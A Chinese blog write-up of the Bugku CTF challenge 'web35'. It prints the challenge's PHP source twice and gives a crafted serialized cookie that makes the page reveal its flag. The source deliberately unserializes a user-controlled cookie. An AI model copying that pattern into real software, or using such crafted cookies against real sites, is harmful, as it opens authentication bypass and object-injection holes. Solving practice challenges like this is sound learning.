Bugku-web35（序列化）

images

访问css样式之后得到提示：

images

images
扒下代码：：

 <?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['20260'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>
 
<?php
}
?>

看了评论只是说是和序列化相关的题目：

题目要求的是反序列化后的cookie的值和它定义的key值要相等

本地测试一下：

images
构造payload：

cookie:BUGKU=s:13:"ctf.bugku.com";

images

posted @ 2023-08-30 08:58 KAKSKY 阅读(11) 评论(0) 编辑收藏举报

刷新页面返回顶部

登录后才能查看或发表评论，立即登录或者逛逛博客园首页

相关博文：

· Bugku-web安慰奖（序列化）

· Bugku-web36（sql注入）

· Bugku - cookies

· bugku-web-wp

· BUU CODE REVIEW 1 1

阅读排行：
· 25岁的心里话
· 闲置电脑爆改个人服务器（超详细） #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目（很简单哒）
· 零经验选手，Compose 一天开发一款小游戏！
· 一起来玩mcp_server_sqlite，让AI帮你做增删改查！！

公告

昵称： KAKSKY
园龄： 5年4个月
粉丝： 0
关注： 12

+加关注

2025年3月

日

一

二

三

四

五

六

随笔分类

随笔档案

阅读排行榜

评论排行榜

1. CTFHUB-Web进阶-PHP-Bypass disable_functions(1)

KAKSKY

多看，多学，多写

Bugku-web35（序列化）

公告

搜索

常用链接

随笔分类

随笔档案

阅读排行榜

评论排行榜

最新评论

	<?php
	error_reporting(0);
	$KEY='ctf.bugku.com';
	include_once("flag.php");
	$cookie = $_COOKIE['BUGKU'];
	if(isset($_GET['20260'])){
	show_source(__FILE__);
	}
	elseif (unserialize($cookie) === "$KEY")
	{
	echo "$flag";
	}
	else {
	?>
	<html>
	<head>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<title>Login</title>
	<link rel="stylesheet" href="admin.css" type="text/css">
	</head>
	<body>
	<br>
	<div class="container" align="center">
	<form method="POST" action="#">
	<p><input name="user" type="text" placeholder="Username"></p>
	<p><input name="password" type="password" placeholder="Password"></p>
	<p><input value="Login" type="button"/></p>
	</form>
	</div>
	</body>
	</html>

	<?php
	}
	?>